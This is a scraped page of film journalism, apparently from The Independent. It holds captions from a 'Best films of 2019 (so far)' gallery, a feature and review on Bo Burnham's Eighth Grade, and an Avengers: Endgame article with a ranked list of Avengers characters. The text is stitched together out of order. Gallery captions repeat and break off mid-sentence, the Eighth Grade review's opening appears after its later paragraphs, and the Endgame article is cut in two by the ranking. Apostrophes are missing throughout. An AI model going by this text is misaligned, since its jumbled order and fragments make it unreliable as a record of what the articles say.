Velvet Buzzsaw swiftly and gleefully descends into a savage splatter-fest, smeared in paint, viscera and garishly-bright blood. Ed Power Netflix Best films of 2019 (so far) If Beale Street Could Talk The setting is New York in the 1970s. Anyone who has watched Martin Scorseses Taxi Driver knows this was an era of violence, corruption and sleaze on a monumental level, but [Barry] Jenkins somehow makes the city seem like a modern-day Eden. Geoffrey Macnab Annapurna Pictures Best films of 2019 (so far) All Is True Written by Ben Elton and directed by its star Kenneth Branagh, the film plays so fast and loose with the playwrights final years that they neednt have bothered fitting Branagh with a prosthetic nose accuracy is clearly not the priority here. Alexandra Pollard Sony Pictures Classics Best films of 2019 (so far) The Lego Movie 2: The Second Part "The Lego Movie 2: The Second Part is the doomed progeny of a celebrated genius brilliant but slightly stunted by the knowledge they will never live up to their predecessor. Clarisse Loughrey Warner Bros. Pictures Best films of 2019 (so far) Piercing Nicolas Pesces sleek and stylish horror comedy is repulsive and funny by turns. In adapting Ryu Murakamis cult novel, Pesce strikes just the right balance between humour and Grand Guignol-style shock tactics. Geoffrey Macnab Universal Pictures Best films of 2019 (so far) Capernaum "The best moments here are remarkable. Labaki elicits an astonishing performance from her young lead. Hes an irrepressible figure with such an inbuilt sense of moral decency the film seems upbeat and optimistic, even at its darkest moments. Geoffrey Macnab Sony Pictures Classics Best films of 2019 (so far) The White Crow "Ralph Fiennes combines thriller elements with poetic flashbacks to ballet legend Rudolf Nureyevs childhood and keeps a tight focus on the dancer. When he is most at risk, Nureyev makes decisions with his artistic future more in mind than his personal safety. As Fiennes reminds us again and again in what is his best film yet as a director, the 'white crow' will do anything to put himself in the limelight, the one place he is convinced he belongs." StudioCanal Best films of 2019 (so far) Border "Border reverses the perspective taken by most other horror films. In more conventional genre fare, Tina and Vore would be portrayed as malevolent outsiders, but in the world conjured up by director Ali Abbasi, the humans are the monsters. Tina is the innocent a visionary who hardly understands her own powers but who can sense human venality and corruption wherever it appears." TriArt Film Best films of 2019 (so far) Fighting with My Family "Certain scenes feel very trite and predictable but the film gets you in a choke hold early on and wont let you go. It is far more gripping than its subject matter might suggest. Who ever would believe a story about a wrestling family from Norwich could have quite such heart and resonance?" James Field Best films of 2019 (so far) Us "Doppelgangers abound in Jordan Peeles weird, creepy and ingenious new horror film. As in his Oscar-winning 2017 feature Get Out, Peele leavens matters with ironic humour but the joking becomes increasingly uncomfortable once the main characters come face to face with dark shadows of themselves which wish them extreme harm." AP Best films of 2019 (so far) Avengers: Endgame "The Avengers cycle comes to a rich and very satisfying conclusion with Endgame, surely the most complex and emotional superhero movie in Marvel history. At 181 minutes, this is a veritable epic, but with so many characters and plot strands, it fully warrants its lengthy running time." AP Best films of 2019 (so far) Eighth Grade "Its a rare and precious feeling when a film completely dismantles you. Eighth Grade the directorial debut of US comedian Bo Burnham breaks down every delusion we have about ourselves and burrows deep into those parts weve made such an effort to lock away. You may cry. You may shudder as every awkward social interaction thats kept you up at night replays in your head all at once. You may feel the sharp pain associated with those moments when you feel completely isolated from the world. Burnham may have crafted a simple story about the most ordinary of teenage girls, but it speaks with the emotions of a true cinematic epic." A24 Best films of 2019 (so far) Vox Lux "Natalie Portman gives her fiercest, most memorable performance since Black Swan in Brady Corbets enjoyably subversive satire about a troubled pop star whose loss of innocence mirrors the fall from grace of the US itself. Portmans character, Celeste, is certainly one of the most objectionable figures she has played: a pampered, hard-drinking drug-taking floozy whose appearance and high-handed behaviour rekindle memories of Liz Taylor and Joan Crawford at their monstrous worst." Neon Best films of 2019 (so far) High Life Robert Pattinson gives one of his most striking performances as Monte, the death-row criminal in outer space, tricked into making a voyage described at one stage as a class-one suicide ride. The former Twilight star makes his shaven-headed, gaunt-faced character seem hyper naturally sensitive and feral at the same time. A24 Best films of 2019 (so far) Amazing Grace Amazing Grace is as uplifting a film as you will see all year. Its a concert movie filmed over two nights and featuring Aretha Franklin, the first lady of soul, performing gospel standards in a church in Los Angeles in 1972, with a huge backing choir and an enthusiastic congregation. Neon Best films of 2019 (so far) Aladdin Disneys live-action remake of its 1992 animated feature is a rip-roaring, old-fashioned matinee-style spectacle that turns out far better than we had any right to expect. Walt Disney Studios Motion Pictures Best films of 2019 (so far) Booksmart Olivia Wilde is a visually inventive director, who keeps the tempo here so brisk that we hardly notice how glib the storytelling sometimes becomes. We can tell exactly how the film will end, but it still feels original both in its screwball energy and in the deft way it continually reverses stereotypes and gender cliches. Geoffrey Macnab Annapurna Pictures Best films of 2019 (so far) Late Night Late Night is a caustic satirical comedy that turns into an unlikely tearjerker. Its by turns snide and uplifting, and often very funny too. Its writer/producer/star Mindy Kaling makes vicious observations about the inanity, narcissism and corruption of the mainstream US media at the same time as she celebrates the professionalism of many of those who work within it. The film has a glorious performance from Emma Thompson and a very sly one from Kaling. Thompson is at her most imperious as Katherine Newbury, a legendary entertainer, the only female in a male-dominated field, but one whose career is beginning to slide. Geoffrey Macnab Amazon Studios Best films of 2019 (so far) Gloria Bell Gloria Bell is somewhat exhausting both unbearably intimate and at a constant remove but it is endlessly pulled back into focus by Moore, who has a firm understanding of the delicate balance between contentment and yearning, joy and pain, recklessness and spontaneity. In a remake that could have felt indulgent in the hands of people less skilled, she more than justifies its existence. Geoffrey Macnab Curzon Best films of 2019 (so far) Toy Story 4 "The brilliance of the new film lies in the surefooted way it caters both for children too young to have seen its predecessors and for adults whove grown up (or grown older) watching the previous instalments. It takes some kind of genius for the Pixar animators to give such a searing emotional charge to a story in which one of the main characters is a single use plastic spork retrieved from the trash." Pixar/Disney Best films of 2019 (so far) In Fabric In Fabric feels like Peter Strickland at his most free and playful, drawing as much from the British sense of humour dry and morbid to a fault as from Italian glamour. Curzon Artificial Eye Best films of 2019 (so far) The Flood "Perhaps The Flood isnt quite the urgent, profound film a crisis of this scale deserves, but in a culture where refugees are so rarely shown any empathy in mainstream media, maybe this is the film we need right now." Best films of 2019 (so far) Midsommar "Ari Aster's follow-up to Hereditary serves up much of the same: its a break-up movie wrapped up in pagan horror. Its also bound to be one of this years most memorable films, proving that Aster is far from a one-hit wonder." A24 Best films of 2019 (so far) The Lion King "The Lion King is undoubtedly a technological marvel that, much like Avatar, will come to be viewed as a milestone in special effects history, yet its just as interesting to see how all this innovation has been employed." AP Best films of 2019 (so far) Varda by Agnes "For a film thats almost entirely narrated by Agnes Varda's own voice, it doesnt feel driven by ego, but by pure intellectual and emotional curiosity." Best films of 2019 (so far) Animals "Animals treats its subjects with patience and generosity. Youll find no life lessons here. Its main characters are free to pursue their desires, to whatever end." Best films of 2019 (so far) Blinded by the Light "Blinded by the Light offers not only a reminder of Springsteens lyrical genius, but of how hes always served as a beacon for the disenfranchised." Warner Brothers Best films of 2019 (so far) Good Boys Lined up against some of this years other more heartfelt offerings, including Booksmart, Good Boys offers further proof that putting a little humanity in our comedy always gets the best results. Best films of 2019 (so far) Hustlers "Hustlers is an electrifying response to the deluge of stories weve had over the years about very rich, very bad dudes. Finally, we can turn the tables on every film thats used women, specifically strippers, as decorative accessories to drape over businessmen as they conduct their illicit backroom meetings. Or, failing that, to shake their out-of-focus tits in the background of a shot." AP Best films of 2019 (so far) For Sama For Sama is one of the most profoundly intimate depictions of the Syrian conflict ever put to film. Its the push to help those on the outside process something so incomprehensible in the depth of its horrors. Republic Film Distribution Best films of 2019 (so far) Ad Astra The real drama here is not whether or not apocalypse can be avoided but whether Brad Pitts character can reconcile himself with his father and overcome his own extreme emotional repression. In other words, in spite of all the jargon and the hardware, this is an intimate family melodrama at heart. Thanks to Pitts performance and Grays delicate direction, it turns into a very moving one. Walt Disney Studios Motion Pictures Best films of 2019 (so far) The Farewell Wrapped up in all the intricacies of immigrant identity and family politics, The Farewell is a comedy of warmth and bracing honesty. Simply put, its one of the best films of the year. A24 Best films of 2019 (so far) Judy This is Renee Zellwegers Judy. It doesnt belong to Rupert Goold, its director. Nor does it belong to Tom Edge, its screenwriter. Its a performance of such overwhelming force that it wrests authorship from every other hand that guided the films creation. Pathe Best films of 2019 (so far) Ready or Not As absurd and self-indulgent as Ready or Not can get, it doesnt mess around with its social commentary. The class system is the game we never asked to play, dont get a fair chance at, and have no hope of winning. Its a timeless metaphor. 20th Century Fox Best films of 2019 (so far) A Shaun the Sheep Movie: Farmageddon Despite its mouthful of a title, A Shaun the Sheep Movie: Farmageddon is an utter delight proof that good storytelling and strong craft are what matters, however familiar the packaging. Studio Canal Best films of 2019 (so far) The Beach Bum Clearly, Harmony Korine is steered by his attraction to the theatrical, the absurd and the grimly nihilistic. The Beach Bum is all of that and absolutely none of it, too a leisurely, neon-soaked stroll through chaos and hazy bohemia, full of slapstick and pathos. It is as much Korines most mature film as it is his most juvenile. Neon/Vice Best films of 2019 (so far) The Last Black Man in San Francisco Its a beautiful, frightening and tragic vignette of the urban nightmare, though The Last Black Man in San Francisco isnt really an angry film. Its less of a rallying cry against gentrification than a rumination on the kind of pained acceptance those who suffer its effects must face. A24 Best films of 2019 (so far) The Irishman Scorseses signature camerawork goes down like a glass of fine whisky, as smooth and as elegant as youd expect. The violence arrives in short, sharp shocks. Steven Zaillians screenplay even nails the mobster patter, with arguments about fish, tardiness, and business shorts that feel destined to one day be quoted to death. Netflix Best films of 2019 (so far) Le Mans '66 The films greatest trick is saved for its final reel. For much of its running time, youd be easily fooled into thinking Mangold had made a grand ode to the American dream. Its a film about an immigrant worker who, through perseverance and toil, gains the respect of one of the richest men in the country. And then the rug is pulled right out from underneath you. Le Mans 66 may relish in the high life, but its final moments feel devastatingly hollow. AP Best films of 2019 (so far) Marriage Story The film never loses its sense of humour and absurdity. Somehow, in spite of the bleakness of the subject matter, it feels more redemptive than despairing. Best films of 2019 (so far) The Report Adam Driver plays Jones, Annette Bening Senator Feinstein, and director Scott Z Burns captures the events in a cold, rigorously factual, and largely dispassionate manner. But thats the point. The Report chooses to value the truth over bombastic displays of morality. AP Best films of 2019 (so far) Knives Out Casting an ensemble film is a little like perfecting a cocktail blend, balancing flavours until they sing together in harmony. Knives Out hits the mark here: the actors all feel well-suited to their roles and they bounce off each other with ease. Lionsgate Until recently, mainstream cinema has been failing them. They have been depicted as either sullen, stroppy caricatures, impossibly beautiful ingenues, or blank slates onto which the male protagonist scribbles his own hormonal maelstrom. Having voiced Agnes in the Despicable Me films, Fisher had stopped acting before Eighth Grade, because I was a teenager with a lot of acne, she told Rookie, an online magazine for teens. Roles for teenagers are disingenuous a lot of the time, and if they want to hire an actor to play a teenager, theyre not gonna hire a teenager with a lot of acne. Before Greta Gerwig made 2017s Lady Bird, which offers another nuanced insight into the (older) female teenage experience, she asked herself, What is Boyhood, but for a girl? What is The 400 Blows, but for a girl? She was unsure of the answer. In films about teenage girls, she observed, so many of them are waiting to be looked at. You have to be asked for the dance, you cant do the asking. Coming of age: Saoirse Ronan in Greta Gerwigs Lady Bird Even John Hughes who finally forced audiences to take teenage narratives seriously in the Eighties objectified his female characters to sometimes startling degrees. At one point in The Breakfast Club (1985), bad boy John Bender (Judd Nelson) goes under a table, looks up Claires (Molly Ringwald) skirt, and then touches her inappropriately. As I can see now, wrote Ringwald in a piece for The New Yorker last year, Bender sexually harasses Claire throughout the film Nevertheless, he gets the girl in the end. After watching Eighth Grade, the actor who appeared in three of Hughess films declared it the best film about adolescence Ive seen in a long time. Maybe ever. Eighth Grade is the latest addition to a burgeoning trend of films that reframe the narrative: Mustang, The Edge of Seventeen, The Diary of a Teenage Girl, Girlhood, American Honey and Princess Cyd all deftly chronicled the tumult of female adolescence without a hint of derision. Jessie Pinnick, who starred in the brilliant Netflix drama Princess Cyd, was drawn to a film that didnt tie up its protagonists fate in a neat bow. Of course theres a transformation within this young girl, she tells me, but I think shes still, at the end of the movie, evolving and learning and growing. In that respect, Kayla isnt too dissimilar. Burnham made a conscious effort, he told The Independent last year, to take the character very seriously. And to take her experience seriously. To ask: can I portray a real eighth-graders experience on her terms and not elevate the plot beyond anything shed actually experience? And not to look at her nostalgically or like an adult would, not to go: Oh, just wait until you have to pay taxes kid, it gets way worse. Its, like, no the actual experience of it is relative. You can recognise that without falsifying it. You can find the laughter in it, without dismissing it. Access unlimited streaming of movies and TV shows with Amazon Prime Video Sign up now for a 30-day free trial Sign up Perhaps most moving is Kaylas subtle, strained relationship with her father Mark, played with goofy warmth by Josh Hamilton. Her mother left when she was a baby, though this is mentioned only in passing. In hindsight, it really naturally just happened because there was not an older female presence when Kayla was being written, Burnham told Rookie. So the dad was a way for me to voice my own limitations as a man that has no idea really what shes going through. Mark is desperate to help Kayla, and clueless as to how to do so. Both to his amusement and his chagrin, his daughter is deeply irritated by him. Their conversations are strained and stilted, and any misguided attempt by Mark to reassure his daughter is met with exasperation. Kennedy doesnt like me, says Kayla, explaining why she doesnt want to go to the pool party. That cant be true! he protests sincerely, artlessly. Cool, she says. There is no point explaining. She puts her headphones back in. Support free-thinking journalism and attend Independent events Later, though having finally admitted to her scant YouTube followers that she is really, like, nervous, all the time Kayla is ready to receive her fathers comfort. Do I make you sad? she asks, as they burn the contents of her sixth-grade time capsule. Sometimes I think that, like, when I grow up, maybe Ill have a daughter. And then, like, I was thinking, if she was like me, I think that would make me really sad all the time. As Burnhams beautifully written script puts it, her fathers response may be the only thing that he is absolutely, one hundred thousand per cent certain of: Youre wrong, he tells her firmly. Its so easy to love you. Its so easy to be proud of you. It is a touching moment in a kind-hearted film that finds poetry in the prosaic. It is so easy to love Eighth Grade: I urge you to watch it. Eighth Grade is out in UK cinemas now The many surprises of Avengers: Endgame have finally been unleashed upon the world but one moment has left fans very confused. For months, the Russo brothers have been begging fans not to spoil the films twists and turns for those yet to see it and for good reason: Avengers: Endgame is a full stop on the franchise, a conclusion to the 22 films to have been released as part of the Marvel Cinematic Universe since Iron Man in 2008. Many fans were left scratching their heads thanks to a scene near the end of the film a scene that was *Major Avengers: Endgame spoilers below you have been warned* Avengers characters - ranked Show all 27 1 /27 Avengers characters - ranked Avengers characters - ranked 27. War Machine Played by: Don Cheadle Don Cheadle Imagine Iron Man but without a backstory or humour. That's War Machine. Terrence Howard saw that the character would be underwritten and dropped out after filming the first Iron Man. Still, it's hard to dislike Don Cheadle, even when he's shortchanged. Walt Disney Studios Motion Pictures Avengers characters - ranked 26. Mantis Played by: Pom Klementieff Pom Klementieff The forgettable Mantis is purely there to make up the numbers. It doesn't help that she was introduced in Guardians of the Galaxy Vol 2, one of the MCU's weakest films to date, as the servant to Kurt Russell's tedious villain, Ego. In a crowded ensemble, Mantis is drowned out by the larger personalities. Walt Disney Studios Motion Pictures Avengers characters - ranked 25. Hawkeye Played by: Jeremy Renner Jeremy Renner "Oh no! It's a man with no superpowers and a bow and arrow! I, an alien with futuristic technology who has travelled through the galaxy to invade Earth, am terrified!" Thanos's army of Outriders, probably. Walt Disney Studios Motion Pictures Avengers characters - ranked 24. Doctor Strange Played by: Benedict Cumberbatch Benedict Cumberbatch Oh, Doctor Strange. Perhaps there's a good character there, but Benedict Cumberbatch wasn't the man to play him. He's probably the least likeable presence in the MCU, even if a few kick-ass moments in Avengers: Endgame almost pull him back from the brink. Walt Disney Studios Motion Pictures Avengers characters - ranked 23. Gamora Played by: Zoe Saldana Zoe Saldana Although the father-daughter relationship between Gamora and Thanos is interesting, it's completely overshadowed by the dynamic between her half-sister Nebula and the Mad Titan. And now she's AWOL. Perhaps. No one really knows. Walt Disney Studios Motion Pictures Avengers characters - ranked 22. Star-Lord Played by: Chris Pratt Chris Pratt Star-Lord the half-man, half-Celestial remains one of the funniest Marvel characters to date. Yet, the Avengers would have saved the universe the first time around if it weren't for his (quite understandable) temper tantrum over the death of Gamora in Infinity War. For that, the leader of Guardian of the Galaxy falls many places. Walt Disney Studios Motion Pictures Avengers characters - ranked 21. Nebula Played by: Karen Gillan Karen Gillan Nebula has all the makings of being a vintage Marvel character, but the feeling that she's been slightly short-changed by her appearances to date cannot be escaped. Going forward, she'll undoubtedly have an elevated role in the MCU, so here's hoping she's handed the justice she deserves. Walt Disney Studios Motion Pictures Avengers characters - ranked 20. The Winter Soldier Played by: Sebastian Stan Sebastian Stan Sebastian Stan's Bucky was a bit of a non-entity in the otherwise underrated Captain America: The First Avenger, which is why his do-over as the villainous Winter Soldier in the sequel three years later injected the character with some much-needed intrigue. His shift back to being a good guy, though, has dampened the interest around him once again. Still, that teased romance with Shuri (Letitia Wright) is sure to do him some favours. Walt Disney Studios Motion Pictures Avengers characters - ranked 19. Vision Played by: Paul Bettany Paul Bettany Vision is the purple embodiment of Tony Stark's AI butler JARVIS, brought to life by the Mind Stone. One of the only other characters capable of wielding Thor's hammer (oi oi, Cap!), Vision is overpowered to the point of being boring. Still, he doesn't know his paprika from his cayenne. Walt Disney Studios Motion Pictures Avengers characters - ranked 18. The Wasp Played by: Evangeline Lilly Evangeline Lilly Sidelined during the first Ant-Man, The Wasp finally became a headline name in Ant-Man and the Wasp. Not only is she smarter, quicker and a better fighter than Ant-Man, she can also fly thanks to a set of wings. Fingers crossed we'll be getting more Wasp post-Endgame. Walt Disney Studios Motion Pictures Avengers characters - ranked 17. Falcon Played by: Anthony Mackie Anthony Mackie There's no two ways about it: if Falcon wasn't played by Anthony Mackie, he'd be far lower down this list. His character remains memorable solely due to the vibrancy the ever-entertaining actor brings to the role. Falcon might be a lesser Avenger, but no appearance since his debut in Captain America: The Winter Soldier has left fans wanting more. For that, Falcon should be celebrated. Walt Disney Studios Motion Pictures Avengers characters - ranked 16. Captain Marvel Played by: Brie Larson Brie Larson There's no doubt that Captain Marvel could become one of the best characters in the MCU. Fresh off her billion dollar-grossing debut the series's first female-led superhero film the character returned to save the day (well, help the crew out) in Avengers: Endgame. Now her origin story is out of the way, the sky's the limit for her; it'll be exciting to see which planets her story scales next. Walt Disney Studios Motion Pictures Avengers characters - ranked 15. Groot Played by: Vin Diesel Vin Diesel To be quite honest, it's hard to screw up a character who is literally a tree that's able to speak just one word (his name). There's no denying that Vin Diesel's Groot was one of the best things about the first Guardians of the Galaxy film, and his camaraderie with Rocket Raccoon a highlight. Sadly, being turned into a baby for the entirety of the sequel made his character slightly more annoying. Walt Disney Studios Motion Pictures Avengers characters - ranked 14. Valkyrie Played by: Tessa Thompson Tessa Thompson Introduced in Thor: Ragnarok, Tessa Thompson's Valkyrie has the swagger of Han Solo and the powers of Wonder Woman. The result is probably the coolest and smoothest Avenger yet, and someone we very much look forward to seeing again in Thor: Love and Thunder. Walt Disney Studios Motion Pictures Avengers characters - ranked 13. Hulk Played by: Mark Ruffalo Mark Ruffalo The Hulk was originally played by Edward Norton, but Mark Ruffalo took over for the Avengers films. The actor brought out a manic unpredictability to the character, who remains a skittish presence in every film. Since the first Avengers outing, though, Bruce Banner/Hulk has been less integral to the team. Walt Disney Studios Motion Pictures Avengers characters - ranked 12. Black Widow Played by: Scarlett Johansson Scarlett Johansson Black Widow has had a rough ride. Introduced during Iron Man 2, Scarlett Johansson's agent was a fierce fighter with an intriguing back story. However, this has rarely been explored since, with the Avengers films focusing on the lads rather than the one female character in the team. Almost 20 Marvel films on and the character is finally getting a solo film but it's a prequel film arriving after her death in Endgame that's been delayed because of coronavirus. Ouch. Walt Disney Studios Motion Pictures Avengers characters - ranked 11. Shuri Played by: Letitia Wright Letitia Wright One of Black Panther's biggest revelations was Shuri, T'Challa's kid sister who might just be the cleverest character in the entire MCU. She's brought to life by British actor Letitia Wright, who capitalised on the several opportunities she had to steal the film from under her co-stars' noses. Great, another broken white boy for us to fix," she says as Martin Freeman's Everett Ross is carted into her workshop and thus, a star was born. Walt Disney Studios Motion Pictures Avengers characters - ranked 10. Scarlet Witch Played by: Elizabeth Olsen Elizabeth Olsen Scarlet Witch doesn't really do much save for wave her hands around while looking concerned about the well-being of her love, Vision (Paul Bettany) but it doesn't matter considered she's played by the the extremely talented Elizabeth Olsen who, as ever, gives it an admirable stab. Walt Disney Studios Motion Pictures Avengers characters - ranked 9. Captain America Played by: Chris Evans Chris Evans On paper, Captain America should be the most boring Avenger. Yet, with Chris Evans at the wheel, the patriotic super-strong OAP who fought in the Second World War has been enjoyable company in every film he's been in, his righteous values never being too overbearing. Captain America, with his pure heart, really is one of the ultimate superheroes. Walt Disney Studios Motion Pictures Avengers characters - ranked 8. Iron Man Played by: Robert Downey Jr Robert Downey Jr The leader of the MCU used to be its greatest character. But with the influx of newer additions, Tony Stark has been pushed down that list which isn't to say he isn't still a reason why the series has been such a success. No Marvel actor has thrown themselves into a role more than Robert Downey Jr, whose larger-than-life personality made him the only candidate to have brought the billionaire industrialist and former playboy to screen. Among the big-budget explosions, he's a breath of fresh air and without him, the MCU would have run out of steam long ago. Walt Disney Studios Motion Pictures Avengers characters - ranked 7. Ant-Man Played by: Paul Rudd Paul Rudd A man who presses a button and takes on the powers of an ant: not exactly a thrilling premise for a superhero. Thankfully, Marvel accepted that Ant-Man's power are a bit of a joke and cast the ever-delightful comic actor Paul Rudd as the mini-hero. And despite his stature, Ant-Man stole the show in Captain America: Civil War when he reversed his powers and became Giant Man. Walt Disney Studios Motion Pictures Avengers characters - ranked 6. Rocket Played by: Bradley Cooper Bradley Cooper In many ways, the success of Guardians of the Galaxy Marvel's first true move away from the cleaner cut Avengers (see: Captan America, Thor) rested on the shoulders of Rocket Raccoon. Many questioned whether it'd work, but thanks to impressive effects, Bradley Cooper's terrific voice work and not to mention James Gunn's knockout screenplay Rocket found himself with more range than most characters on this list. Walt Disney Studios Motion Pictures Avengers characters - ranked 5. Black Panther Played by: Chadwick Boseman Chadwick Boseman Few characters have had the cultural impact of Boseman's Black Panther. First appearing in Captain America: Civil War, T'Challa's measured demeanour was a counter to the quip-making norm of the other Avengers. Come the character's solo film, the noble leader finally accepted his role as King of Wakanda and, in the process, unleashed the inner Panther. It's no wonder that the film became a box-office sensation, even out-grossing Avengers: Infinity War (2018) in the United States. Walt Disney Studios Motion Pictures Avengers characters - ranked 4. Drax Played by: Dave Bautista Dave Bautista Drax is proof that you shouldn't judge a book by its cover. His burly appearance suggests he should be fighting for the bad guys, but the opposite couldn't be truer thanks to Dave Bautista, the character is given a cuddly sheen that belies his full name (Drax the Destroyer). The only thing Drax, who first appeared in Guardians of the Galaxy, truly destroys is your rib cage he's one of the MCU's funniest characters. Walt Disney Studios Motion Pictures Avengers characters - ranked 3. Spider-Man Played by: Tom Holland Tom Holland Spider-Man's back. Again again. Where Tobey Maguire's webslinger was an out-and-out dork, and Andrew Garfield's version was arguably too slick to really be Peter Parker, Tom Holland has found the perfect middle ground: still obsessed with making Star Wars references yet also capable of talking coherently with members of the opposite sex. It's a miracle that Marvel Studios managed to bring Spider-Man into their cinematic universe and a miracle they managed to make him feel this fresh third time around. Walt Disney Studios Motion Pictures Avengers characters - ranked 2. Okoye Played by: Danai Gurira Danai Gurira Black Panther was a landmark moment for cinema, let alone Marvel. It was a film filled with selling points the lustrous visuals of Wakanda; a villain you actually cared about but sitting at the top of the heap was Okoye. The Walking Dead star Danai Gurira swapped the katana for a vibranium spear and showed audiences that not only was she more than just television character Michonne, she could translate a comic book character into one of the very best characters in the Marvel Cinematic Universe. Walt Disney Studios Motion Pictures Avengers characters - ranked 1. Thor Played by: Chris Hemsworth Chris Hemsworth Thor was not a great film. Thor: The Dark World was even worse. Yet, against all odds, the God of Thunder has established himself as the greatest Avenger. How? It's namely thanks to Taika Waititi's revisioning of the character in Thor: Ragnarok. Rather than making Hemsworth deliver sub-par Shakespearean prose, the filmmaker enthused Thor with a sense of humour something that played to Hemsworth's strength as an actor. The result was a charismatic, short-haired, smouldering superhero who was finally able to charm Marvel fans. If only Thor had been this way all along. Walt Disney Studios Motion Pictures As everybody expected, all of the superheroes who were dusted at the end of Infinity War return to do battle against a time-travelling Thanos five years after the events of the first film. But its Tony Stark who manages to save the day, fulfilling the one in 14 million successful outcomes glimpsed by Doctor Strange. Snatching the Infinity Gauntlet fit with all six Infinity Stones from Thanos arm, he adds it to his Iron Man suit and clicks his finger Thanos and his army turn to dust, but the power is too much for Tony who dies from his injuries. An ensuing scene sees every single Avenger gathered at Starks funeral, but the appearance of a kid near the back of the crowd left many confused. So, who is he? This is Harley Keener, the character whose life collides with Starks after he finds himself stranded in 2013 film Iron Man 3. Hes the one who helps Stakr locate the Mandarin well, British actor Trevor Slattery (Ben Kingsley) to Miami, and hes played here once again by Ty Simpkins. Avengers: Endgame saw the return of many surprise characters, including Alexander Pierce (Robert Redford), Howard Stark (John Slattery) and Hank Pym (Michael Douglas). Dir: Bo Burnham. Cast: Elsie Fisher, Josh Hamilton, Emily Robinson, Jake Ryan. Cert: 15, 94 mins Its a rare and precious feeling when a film completely dismantles you. Eighth Grade the directorial debut of US comedian Bo Burnham breaks down every delusion we have about ourselves and burrows deep into those parts weve made such an effort to lock away. You may cry. You may shudder as every awkward social interaction thats kept you up at night replays in your head all at once. You may feel the sharp pain associated with those moments when you feel completely isolated from the world. Burnham may have crafted a simple story about the most ordinary of teenage girls, but it speaks with the emotions of a true cinematic epic. Elsie Fisher stars as 13-year-old Kayla, whose experiences arent brimming with conflict. We watch her navigate the last week of middle school, as she gradually confronts the fact that shes failed to become the person shed promised herself to be. Theres no boyfriend in the picture and no real friends to speak of. What she does have is a YouTube channel that no one watches and a crippling lack of self-confidence. Everyone around her keeps telling her that now is the time to be happy and carefree, but shes too consumed by the knowledge that her reality doesnt match up with her expectations. Its this gulf that forms the driving force behind anxiety as the mind struggles to discern between what we think is true and what is actually true and Eighth Grade is a film very much concerned with how controlling anxiety can be. Im always nervous, Kayla confesses at one point. I could be doing nothing, and Im still nervous. Its like that feeling before you ride a rollercoaster that stupid butterflies-in-your-stomach feeling. Except that feeling you get after you ride the rollercoaster never comes. And so, she tries to escape that nervousness by perfecting a new Kayla an online Kayla. We watch what is, essentially, performance art, as she scrolls through Instagram, liking and commenting on every post she comes across, despite never having the courage to speak to these people in real life. She snaps a hundred selfies to find the one acceptable combination that feels both flattering and effortless. Her YouTube persona doles out advice were not sure she actually believes in. Its not like Im scared to not talk, I just dont want to, she assures us, but when we see her in conversation, she spurts out a few yeahs and frantic nods, while the panicked look in her eyes betrays her desperation to participate. Fisher communicates so much through her body language, freeing the script (also written by Burnham) from the need to ever explicitly tell us her state of mind. Its an incredibly nuanced performance that suggests Fisher, whose previous credits include Despicable Me, has a bright future ahead of her. While Eighth Grades themes transcend Kaylas own perspective (Burnham has spoken about the film existing out of a desire to channel his own experiences with anxiety), its also firmly grounded in the real world of todays teenagers. Given Burnham's someone whose career first started on YouTube, its understandable he's expected to have some authority on the subject. But, in truth, as a 28-year-old, the internet he once knew is already worlds away from what exists today. Kayla discovers that even high-schoolers can barely comprehend what its like to have Snapchat when youre 12 years old. It makes it all the more impressive that Eighth Grade boasts such impeccable attention to detail. In one scene, a kid yells out LeBron James a niche joke from Vine, an old platform for short, looping videos in the middle of an active shooter drill. The moment is a subtle, but surprisingly chilling snapshot of modern America. Best films of 2019 (so far) Show all 49 1 /49 Best films of 2019 (so far) Best films of 2019 (so far) The Favourite Macabre and fraught though The Favourite gets, this isnt so much a film about sex or power as it is about plain mischief. Its a hilarious, buffoonish pleasure, right down to the sets and costume design, and a breeze to spend 120 minutes with. Christopher Hooton Fox Searchlight Pictures Best films of 2019 (so far) Beautiful Boy Casting Chalamet as Nic was a very clever move. The young actor from Call Me by Your Name and Lady Bird has a natural charm and charisma. He still engages an audiences curiosity and sympathy even when his behaviour is at its most selfish and erratic. Geoffrey Macnab Amazon Studios Best films of 2019 (so far) The House by the Sea Guediguians storytelling style is deceptive. At first, it seems as if this is low-key social realism in the Dardennes or Ken Loach mould, albeit set on the French Riviera. Gradually, though, we realise how stylised and theatrical his approach really is. Geoffrey Macnab Best films of 2019 (so far) Stan & Ollie Director Jon S Baird, whose previous film was scabrous Irvine Welsh adaptation Filth, wrings every last drop of pathos he can from his material. This is very much a case of the tears of the clowns. Geoffrey Macnab Entertainment One Best films of 2019 (so far) Vice Vice is bravura storytelling. McKay isnt only taking us through Cheneys life and career but is giving us a whistle stop tour through US politics from the Nixon administration almost right to the present day. Geoffrey Macnab Annapurna Pictures Best films of 2019 (so far) Can You Ever Forgive Me? Playing Lee Israel, McCarthy manages something very special: she makes a character who is odd, obnoxious, difficult and alcoholic seem lovable and even heroic. The rest of the world is at fault, not Lee. Geoffrey Macnab Fox Searchlight Pictures Best films of 2019 (so far) Green Book "Green Book flatters the audience about its own good sense and tolerance. It deals with racism and homophobia but still has a fairytale, fantasy feel to it. Whatever humiliations Don endures on their road trip, we know no real harm will ever come to him as long as Tony is at his side. Geoffrey Macnab Universal Pictures Best films of 2019 (so far) Velvet Buzzsaw The golden age of bonkers horror movies is gloriously evoked by Netflixs latest feature length presentation. Beginning as a satire of the arts world, Velvet Buzzsaw swiftly and gleefully descends into a savage splatter-fest, smeared in paint, viscera and garishly-bright blood. Ed Power Netflix Best films of 2019 (so far) If Beale Street Could Talk The setting is New York in the 1970s. Anyone who has watched Martin Scorseses Taxi Driver knows this was an era of violence, corruption and sleaze on a monumental level, but [Barry] Jenkins somehow makes the city seem like a modern-day Eden. Geoffrey Macnab Annapurna Pictures Best films of 2019 (so far) All Is True Written by Ben Elton and directed by its star Kenneth Branagh, the film plays so fast and loose with the playwrights final years that they neednt have bothered fitting Branagh with a prosthetic nose accuracy is clearly not the priority here. Alexandra Pollard Sony Pictures Classics Best films of 2019 (so far) The Lego Movie 2: The Second Part "The Lego Movie 2: The Second Part is the doomed progeny of a celebrated genius brilliant but slightly stunted by the knowledge they will never live up to their predecessor. Clarisse Loughrey Warner Bros. Pictures Best films of 2019 (so far) Piercing Nicolas Pesces sleek and stylish horror comedy is repulsive and funny by turns. In adapting Ryu Murakamis cult novel, Pesce strikes just the right balance between humour and Grand Guignol-style shock tactics. Geoffrey Macnab Universal Pictures Best films of 2019 (so far) Capernaum "The best moments here are remarkable. Labaki elicits an astonishing performance from her young lead. Hes an irrepressible figure with such 